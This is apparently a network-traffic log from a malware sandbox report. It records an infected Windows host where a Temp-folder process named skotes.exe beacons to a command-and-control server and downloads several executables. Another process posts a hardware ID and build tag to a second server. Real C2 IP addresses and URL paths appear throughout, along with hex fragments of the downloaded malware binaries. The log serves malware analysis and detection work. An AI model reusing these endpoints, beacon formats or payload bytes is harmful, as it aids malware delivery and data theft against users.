Dec 9, 2024 23:09:10.210601091 CET	1236	IN	Data Raw: 88 4c b9 cf 8b d6 22 b9 06 79 6c 55 37 79 2a d6 17 50 f2 d2 0d 50 57 f6 83 c6 46 8f 49 f6 bc 00 b2 a8 73 31 c3 37 48 65 7b 9b 04 3b c9 9e ad 11 c7 77 23 ae 49 e4 a9 15 57 8e 5a 10 35 9e 6f 50 39 a6 c2 18 c9 0c b0 fd 83 22 22 43 af 47 08 d2 16 e6 Data Ascii: L"ylU7y*PPWFIs17He{;w#IWZ5oP9""CG?zzj?B6&XbM&$HK,Dm7sSEhMHwEoe=xDqpX:mRbx,,3w\|"Pq/FD(?#,pK][\W[n@7
Dec 9, 2024 23:09:10.329412937 CET	744	IN	Data Raw: 30 a1 88 e3 3e 8b d1 ca ae 47 64 40 30 5b ef 5b 29 d1 5d da 45 42 6d 22 f9 a0 72 b5 1b db cd 1f 09 0f 3b d4 b1 bd d8 01 25 4f f8 7f 3f 5f 7b 9f 41 b6 af c4 0a db d5 fa c6 dc 1b d1 f2 35 50 51 c1 8a a4 9d 63 16 b8 0d 76 7d 54 e2 25 09 81 46 66 65 Data Ascii: 0>Gd@0[[)]EBm"r;%O?_{A5PQcv}T%FfeWcN$<C8'p9_z\|`V~~PBJC[&cW"&^ORh;cwb"&dZp7Q?PQ,3kI^M\|W.}y`W<o^Rw

Session ID	Source IP	Source Port	Destination IP	Destination Port
3	192.168.2.4	49787	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Dec 9, 2024 23:09:15.862375975 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 31 33 35 33 36 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1013536001&unit=246122658369
Dec 9, 2024 23:09:17.213035107 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 09 Dec 2024 22:09:16 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.4	49791	185.215.113.16	80	7660	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 9, 2024 23:09:17.335149050 CET	56	OUT	GET /steam/random.exe HTTP/1.1 Host: 185.215.113.16
Dec 9, 2024 23:09:18.677970886 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 09 Dec 2024 22:09:18 GMT Content-Type: application/octet-stream Content-Length: 1799168 Last-Modified: Mon, 09 Dec 2024 21:09:11 GMT Connection: keep-alive ETag: "67575c77-1b7400" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 20 8b b6 d4 64 ea d8 87 64 ea d8 87 64 ea d8 87 0b 9c 73 87 7c ea d8 87 0b 9c 46 87 69 ea d8 87 0b 9c 72 87 5e ea d8 87 6d 92 5b 87 67 ea d8 87 6d 92 4b 87 62 ea d8 87 e4 93 d9 86 67 ea d8 87 64 ea d9 87 09 ea d8 87 0b 9c 77 87 77 ea d8 87 0b 9c 45 87 65 ea d8 87 52 69 63 68 64 ea d8 87 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 19 64 54 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 96 02 00 00 28 01 00 00 00 00 00 00 40 69 00 00 10 00 00 00 b0 02 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 70 69 00 00 04 00 00 8b d7 1b 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$ ddds\|Fir^m[gmKbgdwwEeRichdPELdTg(@i@pi@M$a$$ $h@.rsrc$x@.idata $z@ *$\|@ipnqzgkg`O~@equqovlh0iN@.taggant0@i"R@
Dec 9, 2024 23:09:18.678046942 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 9, 2024 23:09:18.678059101 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 9, 2024 23:09:18.678226948 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 9, 2024 23:09:18.678245068 CET	1236	IN	Data Raw: 43 f0 e7 b2 81 28 1c 14 40 35 43 8d 53 6d a0 74 fd 49 64 6e 81 65 ad 3e 29 6d fc 5f 1d e9 f4 63 11 ab cc 0c 01 a3 c4 74 5e 07 d9 f0 60 93 a6 02 79 8d d4 0e 75 1d a4 42 4d 6d b8 25 ea 42 8c d5 3d 71 80 26 34 ef f4 0e 42 55 a8 a6 25 4d 64 0d 07 92 Data Ascii: C(@5CSmtIdne>)m_ct^`yuBMm%B=q&4BU%MdUvSD>F]p6%"0CCGr]d/)_u((WE %Q"EUw<!VdR4mmu)/fBn7^l}\|f6`4=)myn=jBK
Dec 9, 2024 23:09:18.678255081 CET	1236	IN	Data Raw: 17 85 a6 ca 1c 9d f8 15 3c 72 e9 a1 a9 26 5f bc 70 45 20 c4 13 8d 91 3d ca 8c 81 9a 0c 7d 35 dc b6 0b 6b cf 05 0c 45 7d 66 00 9c 8c d9 04 64 72 2e c0 6b e3 e4 24 01 7d 0a c8 6e 34 72 73 d6 bb c5 3a a7 ee 85 1c 6b 5f 6d e2 a6 83 4d 0d 64 b1 8c 6c Data Ascii: <r&_pE =}5kE}fdr.k$}n4rs:k_mMdlX~lAf5 W?.`IzM3vSnydaI*(l;w5s=lHk'N<Dy@+ y?5YRsN`}9hh5Ta>io"/@so
Dec 9, 2024 23:09:18.678266048 CET	1236	IN	Data Raw: 43 38 cc b2 17 e5 83 e6 85 7b 6e 05 0c 4a 23 33 17 c9 93 8e 3c 1a 74 08 53 2b 34 04 c1 6d 80 96 55 8b 9f 90 c4 35 2c 0f d9 e9 82 0e 89 2e 28 4c 0f 97 ee 0d 05 45 10 61 6c 79 31 08 e3 a9 94 16 4b 4d 96 02 b9 1a 84 89 17 b3 d4 6e 17 75 ac b2 29 f2 Data Ascii: C8{nJ#3<tS+4mU5,.(LEaly1KMnu)EF\|tlF=C+s&~qyXuld.K}dryI1+>!a=Iz(toZyf%o(dTKZy#5l+,=
Dec 9, 2024 23:09:18.678580999 CET	1236	IN	Data Raw: 05 20 96 69 a3 51 44 b9 84 cc 64 0a a2 ec 48 7b 4d 7f 6c 52 85 fa a9 31 04 15 64 00 7d 2e dc 3e 6f e0 03 be 0d 7a bc 0d a1 e9 a2 02 24 0b f3 02 b5 7f 83 fa 05 7d e9 86 49 f9 cb 1e dd 7f a2 2a 13 d5 ef 1d 37 00 64 0e 28 c6 84 54 4d 39 f3 16 a1 2b Data Ascii: iQDdH{MlR1d}.>oz$}I7d(TM9+n1F=+jEnku<+p3u-)YB#y1@mXqaukf=W=WthxYM9y8p9M5V+?u}+!M<K{)4X%
Dec 9, 2024 23:09:18.678600073 CET	1236	IN	Data Raw: e1 72 23 87 13 3e 93 02 41 d7 60 00 0d 21 a0 9a 85 2d bd 7c d6 6d 84 6a 91 59 96 15 a1 7e 8b bf 8b 25 96 06 4d e9 54 b8 45 78 ab 31 71 05 9f 00 9c 6d 98 bc 8b 66 69 bf c4 ee cd a6 0b 42 f4 4b 9d 42 a7 d2 13 c6 fc b1 17 ed a4 67 89 f9 2e 0f 85 f5 Data Ascii: r#>A`!-\|mjY~%MTEx1qmfiBKBg.#Ks]MKLC&&K +2!b)+Am<,%-tYMCZUM%4TgXF3n']'ZK@uYh<-4d
Dec 9, 2024 23:09:18.678610086 CET	1236	IN	Data Raw: 71 7f 6c b2 81 61 e8 71 07 6b 05 b7 25 f9 9b 74 99 7a f8 bc 13 96 63 64 0f c9 e0 00 ad 4b 74 b3 2e bc 63 8d c9 a1 a3 05 5d f6 60 b0 36 7e 96 de bc 6a b2 76 d1 e9 88 ca 23 39 e7 74 aa 4b 96 d2 0c 91 64 de 9c 2b 17 3d 12 f5 09 b5 17 6d af be 21 f6 Data Ascii: qlaqk%tzcdKt.c]`6~jv#9tKd+=m!K<9.r'>rI+2QJBxwsZI\-%B%)+nNxat`ZJTR+x=LCOU+p=+}Jb<)%AIDU
Dec 9, 2024 23:09:18.797410965 CET	1236	IN	Data Raw: 1d 73 c6 cf ef 02 99 4e 19 bb ee 43 4b 3d e4 79 4c d9 a8 08 29 3f 55 27 8a 57 9d f2 90 5f 82 42 08 44 90 40 88 97 83 07 40 1f b3 68 ef bf ad d8 0c 9a 9c fc 55 47 c0 c6 4d ff 83 12 10 ee 98 be 39 89 30 43 8f 2a 24 e9 05 cc 57 71 b1 53 c0 8e f1 72 Data Ascii: sNCK=yL)?U'W_BD@@hUGM90C$WqSr>`lDH@<uL=aU9x:Zl@fEuTAi &K$C.>hMNZAc:;,:po:$iQKPeVQA*"E@

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.4	49807	185.215.113.206	80	7148	C:\Users\user\AppData\Local\Temp\1013537001\37df924488.exe

Timestamp	Bytes transferred	Direction	Data
Dec 9, 2024 23:09:23.805737972 CET	90	OUT	GET / HTTP/1.1 Host: 185.215.113.206 Connection: Keep-Alive Cache-Control: no-cache
Dec 9, 2024 23:09:25.145804882 CET	203	IN	HTTP/1.1 200 OK Date: Mon, 09 Dec 2024 22:09:24 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Dec 9, 2024 23:09:25.149343967 CET	413	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----HDAFBGIJKEGIECAAFHDH Host: 185.215.113.206 Content-Length: 211 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 48 44 41 46 42 47 49 4a 4b 45 47 49 45 43 41 41 46 48 44 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 39 44 37 41 33 30 41 32 43 37 41 35 31 39 31 35 33 33 34 32 33 37 0d 0a 2d 2d 2d 2d 2d 2d 48 44 41 46 42 47 49 4a 4b 45 47 49 45 43 41 41 46 48 44 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 73 74 6f 6b 0d 0a 2d 2d 2d 2d 2d 2d 48 44 41 46 42 47 49 4a 4b 45 47 49 45 43 41 41 46 48 44 48 2d 2d 0d 0a Data Ascii: ------HDAFBGIJKEGIECAAFHDHContent-Disposition: form-data; name="hwid"9D7A30A2C7A51915334237------HDAFBGIJKEGIECAAFHDHContent-Disposition: form-data; name="build"stok------HDAFBGIJKEGIECAAFHDH--
Dec 9, 2024 23:09:25.594129086 CET	210	IN	HTTP/1.1 200 OK Date: Mon, 09 Dec 2024 22:09:25 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 8 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 59 6d 78 76 59 32 73 3d Data Ascii: YmxvY2s=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.4	49813	185.215.113.43	80	7660	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 9, 2024 23:09:24.134639978 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 31 33 35 33 37 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1013537001&unit=246122658369
Dec 9, 2024 23:09:25.467751980 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 09 Dec 2024 22:09:25 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.4	49815	185.215.113.16	80	7660	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 9, 2024 23:09:25.590446949 CET	55	OUT	GET /well/random.exe HTTP/1.1 Host: 185.215.113.16
Dec 9, 2024 23:09:26.921914101 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 09 Dec 2024 22:09:26 GMT Content-Type: application/octet-stream Content-Length: 971776 Last-Modified: Mon, 09 Dec 2024 21:07:21 GMT Connection: keep-alive ETag: "67575c09-ed400" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 9a c7 83 ae de a6 ed fd de a6 ed fd de a6 ed fd 6a 3a 1c fd fd a6 ed fd 6a 3a 1e fd 43 a6 ed fd 6a 3a 1f fd fd a6 ed fd 40 06 2a fd df a6 ed fd 8c ce e8 fc f3 a6 ed fd 8c ce e9 fc cc a6 ed fd 8c ce ee fc cb a6 ed fd d7 de 6e fd d7 a6 ed fd d7 de 7e fd fb a6 ed fd de a6 ec fd f7 a4 ed fd 7b cf e3 fc 8e a6 ed fd 7b cf ee fc df a6 ed fd 7b cf 12 fd df a6 ed fd de a6 7a fd df a6 ed fd 7b cf ef fc df a6 ed fd 52 69 63 68 de a6 ed fd 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 01 5c 57 67 00 00 00 00 00 00 00 00 e0 00 22 01 0b 01 0e 10 00 ac 09 00 00 24 05 00 00 00 00 00 77 05 02 00 00 10 00 00 00 c0 [TRUNCATED] Data Ascii: MZ@ !L!This program cannot be run in DOS mode.$j:j:Cj:@*n~{{{z{RichPEL\Wg"$w@0<@@@d\|@hu4@.text `.rdata@@.datalpH@.rsrch@j@@.relocuv^@B
Dec 9, 2024 23:09:26.921926022 CET	124	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b9 74 0a 4d 00 e8 38 fd 01 00 68 e9 23 44 00 e8 8f f0 01 00 59 c3 68 f3 23 44 00 Data Ascii: tM8h#DYh#DYh#DrYY<h#DaYQ
Dec 9, 2024 23:09:26.922203064 CET	1236	IN	Data Raw: e8 a9 00 00 00 68 02 24 44 00 e8 4f f0 01 00 59 c3 a1 30 14 4d 00 51 8b 40 04 05 30 14 4d 00 50 e8 e3 23 00 00 68 17 24 44 00 e8 2f f0 01 00 59 c3 e8 de 25 00 00 68 1c 24 44 00 e8 1e f0 01 00 59 c3 e8 ae e7 01 00 68 21 24 44 00 e8 0d f0 01 00 59 Data Ascii: h$DOY0MQ@0MP#h$D/Y%h$DYh!$DYA2h&$DYPh0$DY%Mh?$DYVNNj(VYY^U80MtI3M0IMMVQfMo0M@0M\
Dec 9, 2024 23:09:26.922288895 CET	1236	IN	Data Raw: 8b 4f c4 85 c9 0f 85 e3 01 00 00 8d 4f a4 89 5f cc e8 60 83 00 00 8d 8f 80 fe ff ff e8 0a 04 00 00 8d b7 64 fe ff ff 8b ce c7 06 3c c9 49 00 e8 88 02 00 00 ff 76 04 e8 bf e8 01 00 59 8d 8f 8c fd ff ff e8 1b 02 00 00 8d 8f 7c fd ff ff e8 23 83 00 Data Ascii: OO_`d<IvY\|#l)\DItvL@IY9TPTX<@IY9D@D.,@IY9404
Dec 9, 2024 23:09:26.922367096 CET	248	IN	Data Raw: 00 8b ce e8 ab b5 00 00 6a 40 56 e8 d0 e3 01 00 59 59 8b c6 5e c2 04 00 55 8b ec 53 8b d9 56 57 80 7b 0d 00 8b 7b 08 75 29 8b 45 08 8b cf 8b 30 e8 7e b5 00 00 89 37 c7 47 0c 01 00 00 00 8b 43 08 80 7b 0d 00 5f 5e 5b 75 0d c6 40 10 00 5d c2 08 00 Data Ascii: j@VYY^USVW{{u)E0~7GC{_^[u@]8@83Md3f2MA4Mj8M<M@MPMfMMMXMDMHMLMUWrVj@YuON8w^_]
Dec 9, 2024 23:09:26.922801971 CET	1236	IN	Data Raw: 8b 75 08 57 8b f9 56 83 67 08 00 e8 eb e5 00 00 8a 46 10 8d 4f 20 88 47 10 8b 46 14 89 47 14 8a 46 18 88 47 18 8d 46 20 83 61 08 00 50 e8 c9 e5 00 00 8a 46 30 88 47 30 8b c7 5f 5e 5d c2 04 00 33 d2 33 c0 89 11 40 89 41 0c 89 51 08 88 51 10 89 51 Data Ascii: uWVgFO GFGFGF aPF0G0_^]33@AQQQQA,Q Q(Q0V&NW LjE$\|I IF^jAZ @uSV5I3WjXSG
Dec 9, 2024 23:09:26.922945023 CET	1236	IN	Data Raw: 00 8b 41 0c 83 e8 01 74 29 83 e8 01 0f 84 d4 07 04 00 83 e8 01 0f 84 bb 07 04 00 83 e8 01 74 19 83 e8 03 74 0d 48 83 e8 01 0f 85 97 07 04 00 8a 01 c3 83 39 00 0f 95 c0 c3 8b 41 08 83 78 04 00 eb f3 55 8b ec 53 56 8b 75 08 33 db 57 8a d3 8b 0e 8d Data Ascii: At)ttH9AxUSVu3WyQ>t(M@f9Xu8!tt_^3[]U3BSVWPPUUJ(MO1f~u6 t+u+3+fy4
Dec 9, 2024 23:09:26.922952890 CET	248	IN	Data Raw: 7f 05 04 00 3b fb 0f 84 26 fe ff ff e9 72 05 04 00 83 38 05 0f 85 d0 fe ff ff ff 45 f4 8d 45 ec 89 7d ec 8d 8d 54 ff ff ff 50 47 e8 5a 03 00 00 8b 45 d8 8b 48 04 8b 85 58 ff ff ff 89 45 bc e9 a6 fe ff ff 83 e8 21 0f 85 23 01 00 00 8b 41 04 6a 7f Data Ascii: ;&r8EE}TPGZEHXE!#AjYf9HmME@E0u]uEuuSPuWAjYf9HEHOTE]ETpXEE
Dec 9, 2024 23:09:26.923584938 CET	1236	IN	Data Raw: 00 3b fb 0f 84 31 fd ff ff e9 85 04 04 00 ff 75 e8 ff 75 f4 ff 75 e4 ff 75 e0 53 52 ff 75 f0 33 db 53 e8 86 03 00 00 85 c0 78 02 8b f3 8d 4d 84 e8 1a 02 00 00 8d 8d 78 ff ff ff e8 0f 02 00 00 8d 8d 6c ff ff ff e8 04 02 00 00 8d 8d 60 ff ff ff e8 Data Ascii: ;1uuuuSRu3SxMxl`MTM_^[rU]AjYf9H}AjYf9HEE}xPG\|EIE
Dec 9, 2024 23:09:26.923655987 CET	1236	IN	Data Raw: 00 88 5c 24 19 88 5c 24 1a ff 15 28 c3 49 00 8d 44 24 13 50 ff 75 08 e8 c2 03 00 00 ff 15 18 c2 49 00 85 c0 0f 85 aa 00 04 00 a1 00 14 4d 00 85 c0 0f 84 b5 00 04 00 33 ff be 90 23 4d 00 47 3b c7 0f 84 b1 00 04 00 8d 44 24 11 50 51 68 00 14 4d 00 Data Ascii: \$\$(ID$PuIM3#MG;D$PQhMhM,#MM#MD$D$P$<Ph5MhIt$MY@\$5MhMa\|$sY4=MMuW0M
Dec 9, 2024 23:09:27.041273117 CET	1236	IN	Data Raw: 4d e0 e8 6c a0 00 00 8b 75 ac 8d 4d f0 e8 22 7a 00 00 8d 45 f0 50 8d 4d 90 e8 39 01 00 00 8b 7d f0 57 68 58 ca 49 00 e8 cf 1a 02 00 59 59 85 c0 0f 84 8b fd 03 00 57 68 30 ca 49 00 e8 ba 1a 02 00 59 59 85 c0 0f 84 92 fd 03 00 57 68 08 ca 49 00 e8 Data Ascii: MluM"zEPM9}WhXIYYWh0IYYWhIYYWhIYYu>M8]uMEPMEMPxEPM9MM3NQjWJ:u3]@ESPEPW@

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.4	49835	185.215.113.43	80	7660	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 9, 2024 23:09:31.272536039 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 31 33 35 33 38 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1013538001&unit=246122658369
Dec 9, 2024 23:09:32.623694897 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 09 Dec 2024 22:09:32 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.4	49838	185.215.113.16	80	7660	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 9, 2024 23:09:32.745805025 CET	54	OUT	GET /off/random.exe HTTP/1.1 Host: 185.215.113.16
Dec 9, 2024 23:09:34.076092005 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 09 Dec 2024 22:09:33 GMT Content-Type: application/octet-stream Content-Length: 2895872 Last-Modified: Mon, 09 Dec 2024 21:07:46 GMT Connection: keep-alive ETag: "67575c22-2c3000" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 a0 2c 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 e0 2c 00 00 04 00 00 88 b9 2c 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 00 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@z!L!This program cannot be run in DOS mode.$PELP(,e"0$, `@ ,,`Ui` @ @.rsrc`2@.idata 8@cdtvwakf++:@qjmihuav ,,@.taggant@,",@
Dec 9, 2024 23:09:34.076122999 CET	124	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 9, 2024 23:09:34.076731920 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 9, 2024 23:09:34.076832056 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 9, 2024 23:09:34.076842070 CET	248	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 9, 2024 23:09:34.077644110 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 9, 2024 23:09:34.077708006 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 9, 2024 23:09:34.077723026 CET	248	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 9, 2024 23:09:34.078088045 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 9, 2024 23:09:34.078212976 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
